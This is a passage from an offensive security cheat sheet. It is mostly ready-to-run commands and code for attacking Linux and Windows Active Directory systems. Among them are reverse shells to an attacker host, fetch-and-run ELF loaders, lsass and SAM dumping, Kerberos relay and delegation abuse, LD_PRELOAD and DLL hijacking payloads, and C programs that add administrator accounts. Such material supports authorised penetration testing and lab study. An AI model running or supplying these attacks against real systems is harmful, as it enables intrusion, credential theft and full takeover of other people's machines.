copy C:\Windows\System32\cmd.exe C:\Users\KioskUser0\Downloads\msedge.exe
```

## Krbrelayx

> https://github.com/dirkjanm/krbrelayx

### Common Commands

```console
python3 krbrelayx.py -t "https://<RHOST>/certsrv/certfnsh.asp" -smb2support --adcs --template "DomainController" -v 'DC01$'
```

### Abuse DNS Delegation Zones with dnstool.py

```console
$ python3 dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
```

### Add Service Principal Name (SPN)

```console
$ python3 addspn.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -t '<RHOST>$' -s 'HTTP/<RHOST>.<DOMAIN>' -r <RHOST>
```

### Remove Service Principal Name (SPN)

```console
$ python3 addspn.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -T samname -t '<RHOST>$' -s 'HTTP/<RHOST>.<DOMAIN>' <RHOST>
```

## LAPS

```console
PS C:\Users\<USERNAME>\Documents> $Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
PS C:\Users\<USERNAME>\Documents> $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-Adm-PwdExpirationTime
```

## LDAP

> https://github.com/infosecn1nja/AD-Attack-Defense

> https://www.poweradmin.com/blog/restoring-deleted-objects-from-active-directory-using-ad-recycle-bin/

> https://adsecurity.org/?p=2288

### Queries

```console
$ (New-Object adsisearcher((New-Object adsi("LDAP://dc.<DOMAIN>","<DOMAIN>\<USERNAME>","<PASSWORD>")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }
$ (New-Object adsisearcher((New-Object adsi("LDAP://dc.<DOMAIN>","<DOMAIN>\<USERNAME>","<PASSWORD>")),"(info=*)")).FindAll() | %{ $_.Properties }
```

## ldapmodify

```console
$ ldapmodify -x -H ldap://<RHOST> -d 1 -D CN=<USERNAME>,CN=<GROUP>,DC=<DOMAIN>,DC=<DOMAIN> -W <<EOF
dn: CN=<USERNAME>,OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>
changetype: modify
replace: unicodePwd
unicodePwd::UABhACQAJAB3ADAAcgBkAA==
EOF
```

## ldapsearch

```console
$ ldapsearch -x -h <RHOST> -s base namingcontexts
$ ldapsearch -H ldap://<RHOST> -x -s base -b '' "(objectClass=*)" "*" +
$ ldapsearch -H ldaps://<RHOST>:636/ -x -s base -b '' "(objectClass=*)" "*" +
$ ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
$ ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -A 3 -B 3
$ ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
$ ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
$ ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,DC=local" | grep info
```

### Handle Kerberos Authentication

```console
$ LDAPTLS_REQCERT=never ldapsearch -x -W -D "<USERNAME>@<DOMAIN>" -b "dc=<DOMAIN>,dc=local" -H ldaps://<RHOST> "samaccountname=*"
```

## LD_PRELOAD

> https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

### shell.c

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
```

or

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```

### Compiling

```console
$ gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles 
```

### Privilege Escalation

```console
$ sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>
```

## LD_LIBRARY_PATH

### Get Information about Libraries

```console
$ ldd /PATH/TO/BINARY/<BINARY>
```

### shell.c

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
```

### Compiling

```console
$ gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c
```

### Privilege Escalation

```console
$ sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>
```

## Libre Office

### Enable Macros via Registry

> https://admx.help/?Category=LibreOffice-from-Collabora&Policy=Collabora.Policies.LibreOffice::MacroSecurityLevel

```cmd
C:\> Set-ItemProperty -Path "HKLM:\Software\Policies\LibreOffice\org.openoffice.Office.Common\Security\Scripting\MacroSecurityLevel" -Name "Value" -Value 0
```

## Linux

### Enumerate Group Memberships

```console
$ id
$ id <USERNAME>
```

### Enumerate sudo Permissions

```console
$ sudo -l
```

### Enumerate Environment Settings

```console
$ env
```

### Enumerate .bashrc

```console
$ cat ~/.bashrc
```

### Enumerate Capabilities

```console
$ capsh --print
$ /usr/sbin/getcap -r / 2>/dev/null
```

### Enumerate Cronjobs

```console
$ ls -lah /etc/cron*
$ crontab -l
$ sudo crontab -l
$ crontab -u <USERNAME> -l
$ grep "CRON" /var/log/syslog
```

### Enumerate installed Packages

```s
$ dpkg -l
```

### Enumerate mounted Drives

```console
$ cat /etc/fstab
```

### Enumerate available Drives

```console
$ lsblk
```

### Enumerate Services

```console
$ systemctl list-units --type=service
```

### Credential Harvesting

```console
$ watch -n 1 "ps -aux | grep pass"
$ sudo tcpdump -i lo -A | grep "pass"
```

### Abusing Password Authentication

```console
$ openssl passwd <PASSWORD>
$ echo "root2:FgKl.eqJO6s2g:0:0:root:/root:/bin/bash" >> /etc/passwd
$ su root2
```

### Execute Binary File in Memory

#### Bash Variant

```console
$ bash -c 'exec -a <NAME> /proc/self/fd/3 3< <(curl -s http://<LHOST>/<FILE>.elf)'
```

#### Python Variant

```console
$ curl -s http://<LHOST>/<FILE>.elf | python3 -c "import os,sys; fd=os.memfd_create(''); os.write(fd,sys.stdin.buffer.read()); os.execv(f'/proc/self/fd/{fd}',['/proc/self/fd/{fd}'])"
```

#### Perl Variant

```console
$ curl -s http://<LHOST>/<FILE>.elf | perl -e 'use POSIX; $m=memfd_create("",0); print $m; while(<STDIN>){print $m $_} exec{"/proc/self/fd/$m"} "/proc/self/fd/$m"'
```

### Kernel Exploits

```console
$ searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
```

## Linux Wildcards

> https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

With the command `touch -- --checkpoint=1` will be a file created. Why? Because the `--` behind the command `touch` is telling touch, that there's option to be wait for. 
Instead of an option, it creates a file, named `--checkpoint=1`.

```console
$ touch -- --checkpoint=1
```

or

```console
$ touch ./--checkpoint=1
```

So after creating the `--checkpoint=1` file, i created another file, which executes a shell script.

```console
$ touch -- '--checkpoint-action=exec=sh shell.sh'
```

or 

```console
$ touch ./--checkpoint-action=exec=<FILE>
```

To delete a misconfigured file, put a `./` in front of it.

```console
$ rm ./'--checkpoint-action=exec=python script.sh'
```

## logrotten

> https://github.com/whotwagner/logrotten

### Skeleton Payload

```console
if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi
```

### Syntax

#### If "create"-option is set in logrotate.cfg

```console
$ ./logrotten -p ./payloadfile /tmp/log/pwnme.log
```

#### If "compress"-option is set in logrotate.cfg

```console
$ ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```

## Lsass

### Dump

```cmd
C:\> tasklist
C:\> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp full
```

## Lua

### Code Execution

```console
file = io.open("/root/.ssh/authorized_keys", "w")
file:write("ssh-rsa AAAAB3N--- snip ---YM5syQ==")
file:close()
```

## machinectl

```console
$ machinectl shell --uid=root
```

## Microsoft Windows

### Basic Microsoft Windows Enumeration

```cmd
C:\> whoami /all
C:\> whoami /user
C:\> set
C:\> systeminfo
C:\> ipconfig /all
C:\> route print
C:\> netstat -ano
C:\> net accounts
C:\> net user
C:\> net user /domain
C:\> net user <USERNAME>
PS C:\> Get-LocalUser
PS C:\> Get-LocalGroup
PS C:\> Get-LocalGroupMember <GROUP>
PS C:\> Get-Process
C:\> tree /f C:\Users\
C:\> tasklist /SVC
C:\> sc query
C:\> sc qc <SERVICE>
C:\> netsh firewall show state
C:\> schtasks /query /fo LIST /v
C:\> wmic qfe get Caption,Description,HotFixID,InstalledOn
C:\> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path
```

### Access Control

#### S-R-X-Y Example

| Value | Info |
| --- | --- |
| S | SID |
| R | Revision (always set to 1) |
| X | Identifier Authority (5 is the most common one) |
| Y | Sub Authority | 

#### SID Table

| SID | Value |
| --- | --- |
| S-1-0-0 | Nobody |
| S-1-1-0 | Everybody |
| S-1-5-11 | Authenticated Users |
| S-1-5-18 | Local System |
| S-1-5-domainidentifier-500 | Administrator |  Info

### Credential Harvesting

#### Credential Notes

- LSA > Local Security Authority
- LSASS > Local Security Authority Server Service
- NTLM Hashes > Stored in SAM database (C:\Windows\system32\config\sam)
- LSASS > Caches NTLM Hashes

#### Unattended Windows Installations

##### Potential Files containing Passwords

```console
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

#### Search for Passwords

```cmd
C:\> dir .s *pass* == *.config
C:\> findstr /si password *.xml *.ini *.txt
PS C:\> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
PS C:\> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
PS C:\> Get-ChildItem -Path C:\Users\<USERNAME>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.vbs -File -Recurse -ErrorAction SilentlyContinue
```

#### PowerShell History

```cmd
PS C:\> Get-History
PS C:\> (Get-PSReadlineOption).HistorySavePath
PS C:\> type C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

#### Saved Windows Credentials

```cmd
C:\> cmdkey /list
C:\> runas /savecred /user:<USERNAME> cmd.exe
```

#### Winlogon Credentials

```cmd
C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

#### Local Administrator Password Solution (LAPS)

```cmd
PS C:\> Get-ADComputer <RHOST> -property 'ms-mcs-admpwd'
```

#### Credentials File

> https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09

> https://www.nirsoft.net/utils/credentials_file_view.html

```console
C:\ rundll32 keymgr.dll, KRShowKeyMgr
```

#### Windows Registry

```cmd
C:\> reg query HKLM /f password /t REG_SZ /s
C:\> reg query HKCU /f password /t REG_SZ /s
```

#### KeePass Databases

```cmd
PS C:\> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
```

#### Internet Information Service (IIS) Configuration

```cmd
C:\> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```

#### PuTTY

```cmd
C:\> reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
```

### User Enumeration

```cmd
C:\> net user
C:\> net user /domain
C:\> dir C:\Users
C:\> cmd.exe /c echo %username%
PS C:\> echo $env:username
```

### Adding Users to Groups

```cmd
C:\> net user <USERNAME> <PASSWORD> /add /domain
C:\> net group "Exchange Windows Permissions" /add <USERNAME>
C:\> net localgroup "Remote Management Users" /add <USERNAME>
```

### Show hidden Files and Folders

```cmd
C:\> dir /a      // show hidden folders
C:\> dir /a:d    // show all hidden directories
C:\> dir /a:h    // show all hidden files
PS C:\> cmd /c dir /A      // show hidden folders
PS C:\> cmd /c dir /A:D    // show all hidden directories
PS C:\> cmd /c dir /A:H    // show all hidden files
PS C:\> powershell ls -force    // show all hidden files
```

### Show installed Applications

```cmd
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
```

### Show Named Pipes

```cmd
PS C:\> [System.IO.Directory]::GetFiles("\\.\\pipe\\")
```

### Enable WinRM

```cmd
C:\> winrm quickconfig
```

### Enable Remote Desktop (RDP)

```cmd
C:\> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\> netsh advfirewall firewall set rule group="remote desktop" new enable=yes
```

or

```cmd
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop";
```

### Firewall Handling

#### Common Commands

```cmd
PS C:\> get-netfirewallrule -all
PS C:\> get-netfirewallrule -policystore configurableservicestore -all
PS C:\> New-NetFirewallRule -DisplayName '<NAME>' -Profile 'Private' -Direction Inbound -Action Allow -Protocol TCP -LocalPort <LPORT>
PS C:\> New-NetFirewallRule -DisplayName '<NAME>' -Profile 'Private' -Direction Inbound -Action Deny -Protocol TCP -LocalPort <LPORT>
PS C:\> Enable-NetFirewallRule -DisplayName "<NAME>"
PS C:\> Disable-NetFirewallRule -DisplayName "<NAME>"
```

#### Allow all outgoing Traffic

```cmd
PS C:\> New-NetFirewallRule -DisplayName "Allow all outbound traffic" -Direction Outbound -Action Allow
PS C:\> Enable-NetFirewallRule -DisplayName "Allow all outbound traffic"
```

### Port Forwarding

#### Check Port Forwardings

```cmd
C:\> netsh interface portproxy show all
```

#### Set Port Forwarding

```cmd
C:\> netsh interface portproxy add v4tov4 listenport=<RPORT> listenaddress=<RHOST> connectport=8443 connectaddress=<LHOST>
```

#### Create Port Forwarding Firewall Rule

```cmd
C:\> advfirewall firewall add rule name="<NAME>" protocol=TCP dir=in localip=<RHOST> localport=<RPORT> action=allow
```

#### Delete specific Forwarding

```cmd
C:\> netsh interface portproxy delete v4tov4 listenport=80 listenaddress=127.0.0.1
```

#### Remove all existing Forwardings

```cmd
C:\> netsh interface portproxy reset
```

### Registry Handling

#### Enable Colored Output

```cmd
C:\> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
```

Then open a new Terminal Window.

#### Check for Auto Run Programs

```cmd
C:\> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

#### Get Registry Key Information

```cmd
C:\> req query <REGISTRY_KEY>
```

#### Modify Registry Key

```cmd
C:\> reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /f
```

#### Search the Registry for Passwords

```cmd
C:\> reg query HKLM /f password /t REG_SZ /s
C:\> reg query HKCU /f password /t REG_SZ /s
```

### Hashes

> https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

> https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

- LM Hashes are deprecated and so there are replaced by an empty string (aad3b435b51404eeaad3b435b51404ee).
- If a `Hash` starts with `31d6`, chances are pretty good, that there is no `Password`
set for the user.

#### LM

- `Oldest` password storage used by `Microsoft Windows`
- If available, they can be obtained from `SAM` databases on a `Microsoft Windows` system or from the `NTDS` database of a `Domain Controller`
- When dumping `SAM/NTDS` databases, they are shown together within the `NTHash` before the colon
- Can be used for `Pass-The-Hash`

##### Example

```console
299BD128C1101FD6
```

##### Algorithm

1. Convert all `lower case` to `upper case`
2. Pad password to `14` characters with NULL characters
3. Split the password to two `7` character chunks
4. Create two `DES` keys from each `7` character chunk
5. DES `encrypt` the string "KGS!@#$%" with these two `chunks`
6. `Concatenate` the two DES encrypted strings. This is the LM hash.

##### Cracking

```console
$ john --format=lm <FILE>
$ hashcat -m 3000 -a 3 <FILE>
```

#### NTHash (NTLM)

- The way how passwords are stored on `modern` `Microsoft Windows` systems
- Can be optained by dumping the `SAM` database or using `mimikatz`
- They are also stored in the `NTDS` file on `Domain Cotnrollers`
- Can be used for `Pass-The-Hash`

##### Example

```console
B4B9B02E6F09A9BD760F388B67351E2B
```

##### Algorithm

```console
MD4(UTF-16-LE(password))
```

##### Cracking

```console
$ john --format=nt <FILE>
$ hashcat -m 1000 -a 3 <FILE>
```

#### Net-NTLMv1 (NTLMv1)

- `NTLM` protocol uses the `NTHash` in `Challenge-Response` between a `server` and a `client`
- The `v1` of the protocol uses both, the `NT` hash and the `LM` hash, depending on configuration and what is available.
- Can be obtained by using `Responder`
- Values for cracking are `K1`, `K2` or `K3` from the algorithm
- Version 1 is `deprecated` but still used in some old systems on the network
- Can be used for `Relaying`

##### Example

```console
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
```

##### Algorithm

```console
C = 8-byte server challenge, random
K1 | K2 | K3 = LM/NT-hash | 5-bytes-0
response = DES(K1,C) | DES(K2,C) | DES(K3,C)
```

##### Cracking

```console
$ john --format=netntlm <FILE>
$ hashcat -m 5500 -a 3 <FILE>
```

#### Net-NTLMv2 (NTLMv2)

- New and improved version of the `NTLM` protocol
- Harder to crack
- Same concept as `NTLMv1`, only with a different algorithm and response sent to the server
- Can also be captured by using `Responder`
- Default in Microsoft Windows since `Microsoft Windows 2000`
- Can be used for `Relaying`

##### Example

```console
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
```

##### Algorithm

```console
SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*
```

##### Cracking

```console
$ john --format=netntlmv2 <FILE>
$ hashcat -m 5600 -a 3 <FILE>
```

### Privileges and Permissions

#### AlwaysInstallElevated

```cmd
C:\> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
C:\> reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

```console
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msi
```

```cmd
C:\> msiexec /quiet /qn /i <FILE>.msi
```

#### SeBackup and SeRestore Privilege

##### Backup SAM and SYSTEM Hashes

```cmd
C:\> reg save hklm\system C:\Users\<USERNAME>\system.hive
C:\> reg save hklm\sam C:\Users\<USERNAME>\sam.hive
```

##### Dumping Hashes

```console
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

```console
$ pypykatz registry --sam sam.hive system.hive
```

##### Pass the Hash

```console
$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@<RHOST>
```

#### SeBackupPrivilege Privilege Escalation (diskshadow)

> https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

##### Script for PowerShell Environment

```console
SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:p
```

```cmd
PS C:\> diskshadow /s <FILE>.txt
```

##### Copy ntds.dit

```cmd
PS C:\> Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit
```

##### Export System Registry Value

```cmd
PS C:\> reg save HKLM\SYSTEM c:\temp\system
```

##### Extract the Hashes

```console
$ impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

##### Alternative Way via Robocopy

```cmd
C:\> reg save hklm\sam C:\temp\sam
C:\> reg save hklm\system C:\temp\system
```

```console
set metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```
 
```console
C:\temp\> diskshadow /s script.txt
C:\temp\> robocopy /b E:\Windows\ntds . ntds.dit
```

```console
$ impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

#### SeEnableDelegationPrivilege

> https://github.com/Kevin-Robertson/Powermad

> https://github.com/dirkjanm/krbrelayx

> https://github.com/topotam/PetitPotam

```console
$ netexec ldap <RHOST> -u '<USERNAME>' -p <PASSWORD> -M maq
```

##### Example 1

```cmd
PS C:\> New-MachineAccount -MachineAccount <MACHINE_ACCOUNT> -Password $(ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force)
```

```cmd
PS C:\> Set-MachineAccountAttribute -MachineAccount <MACHINE_ACCOUNT> -Attribute useraccountcontrol -Value 528384
```

```cmd
PS C:\> Set-MachineAccountAttribute -MachineAccount <MACHINE_ACCOUNT> -Attribute ServicePrincipalName -Value http/<RHOST> -Append
```

```cmd
PS C:\> Get-MachineAccountAttribute -MachineAccount <MACHINE_ACCOUNT> -Attribute ServicePrincipalName -Verbose
```

```console
$ python3 dnstool.py -u '<DOMAIN>\<MACHINE_ACCOUNT>$' -p <PASSWORD> -r <RHOST> -d <LHOST> --action add -dns-ip <RHOST> <RHOST>
```

```console
$ iconv -f ASCII -t UTF-16LE <(printf '<PASSWORD>') | openssl dgst -md4
```

```console
$ python3 krbrelayx.py -hashes :7dfa0531d73101ca080c7379a9bff1c7 --target <RHOST>
```

```console
$ python3 printerbug.py -hashes :7dfa0531d73101ca080c7379a9bff1c7 <DOMAIN>/'<MACHINE_ACCOUNT>$'@<RHOST> <RHOST>
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-secretsdump -k <RHOST> -just-dc-ntlm
```

##### Example 2

```console
$ impacket-addcomputer -dc-ip <RHOST> -computer-name <MACHINE_ACCOUNT> -computer-pass <PASSWORD> <DOMAIN>/<USERNAME>:<PASSWORD>
```

```console
$ python3 dnstool.py -u '<DOMAIN>\<MACHINE_ACCOUNT>$' -p <PASSWORD> -r <RHOST> -d <LHOST> --action add <RHOST> -dns-ip <RHOST>
```

or

```console
$ dnstool.py -u '<DOMAIN>\<MACHINE_ACCOUNT>$' -p '<PASSWORD>' --action add --record <RHOST> --data <LHOST> --type A -dns-ip <RHOST> <RHOST>
```

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add uac '<MACHINE_ACCOUNT>$' -f TRUSTED_FOR_DELEGATION
```

```console
$ python3 addspn.py -u '<DOMAIN>/<USERNAME>' -p '<PASSWORD>' -s 'cifs/<RHOST>' -t '<MACHINE_ACCOUNT>$' -dc-ip <RHOST> <RHOST> --additional
```

```console
$ python3 addspn.py -u '<DOMAIN>/<USERNAME>' -p '<PASSWORD>' -s 'cifs/<RHOST>' -t '<MACHINE_ACCOUNT>$' -dc-ip <RHOST> <RHOST>
```

```console
$ iconv -f ASCII -t UTF-16LE <(printf '<PASSWORD>') | openssl dgst -md4
```

or

```console
$ python -c "password = '<PASSWORD>'; import hashlib; print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())"
```

```console
$ python3 krbrelayx.py -hashes :7dfa0531d73101ca080c7379a9bff1c7 --target <RHOST>
```

```console
$ python3 PetitPotam.py -u '<MACHINE_ACCOUNT>$' -p '<PASSWORD>' <RHOST> <RHOST>
```

or

```console
$ python3 printerbug.py -hashes :7dfa0531d73101ca080c7379a9bff1c7 <DOMAIN>/'<MACHINE_ACCOUNT>$'@<RHOST> <RHOST>
```

or

```console
$ netexec smb <RHOST> -u '<MACHINE_ACCOUNT>$' -p '<PASSWORD>' -M coerce_plus 
```

```console
$ netexec smb <RHOST> -u '<MACHINE_ACCOUNT>$' -p '<PASSWORD>' -M coerce_plus -o LISTENER=<RHOST> METHOD=PrinterBug
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-secretsdump -k <RHOST> -just-dc-ntlm
```

#### SeLoadDriverPrivilege

```cmd
PS C:\> sc.exe query
PS C:\> $services=(get-service).name | foreach {(Get-ServiceAcl $_)  | where {$_.access.IdentityReference -match 'Server Operators'}}
```

```cmd
PS C:\> sc.exe config VSS binpath="C:\temp\nc64.exe -e cmd <LHOST> <LPORT>"
PS C:\> sc.exe stop VSS
PS C:\> sc.exe start VSS
```

#### SeManageVolumePrivilege

> https://github.com/CsEnox/SeManageVolumeExploit

##### Grant full Permission on C:\ Drive

```cmd
PS C:\> .\SeManageVolumeExploit
```

##### Overwriting "Printconfig.dll" for SYSTEM Shell Access

1. Generate a custom DLL and locate it at `C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll`.
2. Initiate the `PrintNotify` object by executing the following PowerShell commands:

```cmd
PS C:\> $type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
```

```cmd
PS C:\> $object = [Activator]::CreateInstance($type)
```

3. Attain a system shell access.

##### Golden Ticket

```cmd
PS C:\> .\SeManageVolumeExploit 
```

```cmd
PS C:\> certutil -store My
```

```cmd
PS C:\> certutil -exportPFX My 75b2f4bbd71f108945247b466161bdph <FILE>.pfx
```

```console
$ certipy-ad forge -ca-pfx '<FILE>.pfx' -upn 'Administrator@<DOMAIN>' -subject 'CN=Administrator,CN=Users,DC=<DOMAIN>,DC=<DOMAIN>'
```

```console
$ certipy-ad auth -pfx administrator_forged.pfx -dc-ip <RHOST>
```

#### SeTakeOwnershipPrivilege

```cmd
C:\> takeown /f C:\Windows\System32\Utilman.exe
```

```cmd
C:\> icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
```

```console
C:\Windows\System32\> copy cmd.exe utilman.exe
```

Click the `Ease of Access` button on the logon screen to get a shell with `NT Authority\System` privileges.

#### SeImpersonate and SeAssignPrimaryToken Privilege

> https://github.com/antonioCoco/RogueWinRM

```cmd
C:\> .\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"
```

### DLL Hijacking

#### Standard Search Order

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

```cmd
PS C:\> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
PS C:\> icacls .\PATH\TO\BINARY\<BINARY>.exe
PS C:\> Restart-Service <SERVICE>
PS C:\> $env:path
```

#### DLL Abuse

##### customdll.cpp

```cpp
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user <USERNAME> <PASSWORD> /add");
        i = system ("net localgroup administrators <USERNAME> /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
```

##### Compiling customdll.cpp

```console
$ x86_64-w64-mingw32-gcc customdll.cpp --shared -o customdll.dll
```

Copy the `.dll` file to the desired path.

##### Execution

```cmd
PS C:\> Restart-Service <SERVICE>
```

##### Checking Local Administrators Group

```cmd
PS C:\> Get-LocalGroupMember administrators
```

### Tasks & Services

#### Running Services Enumeration

```cmd
PS C:\> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
```

#### Service Configuration Enumeration

```cmd
PS C:\> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<SERVICE>'}
```

#### Permission Table

| Mask | Permissions |
| --- | --- |
| F | Full access |
| M | Modify access |
| RX | Read and execute access |
| R | Read-only access |
| W | Write-only access |

#### Permission Enumeration

```cmd
PS C:\> icacls "C:\PATH\TO\BINARY\<BINARY>"
```

#### Permissions Abuse

##### adduser.c

```c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user <USERNAME> <PASSWORD> /add");
  i = system ("net localgroup administrators <USERNAME> /add");
  
  return 0;
}
```

##### Compiling adduser.c

```console
$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

##### Execution

```cmd
PS C:\> net stop <SERVICE>
PS C:\> net start <SERVICE>
```

or 

```cmd
PS C:\> shutdown /r /t 0
```

##### Checking Local Administrators Group

```cmd
PS C:\> Get-LocalGroupMember administrators
```

#### PowerView

```console
PS Ccmd powershell -ep bypass
PS C:\> . .\PowerUp.ps1
PS C:\> Get-ModifiableServiceFile
PS C:\> Install-ServiceBinary -Name '<SERVICE>'
```

#### Service Execution Properties Enumeration

```cmd
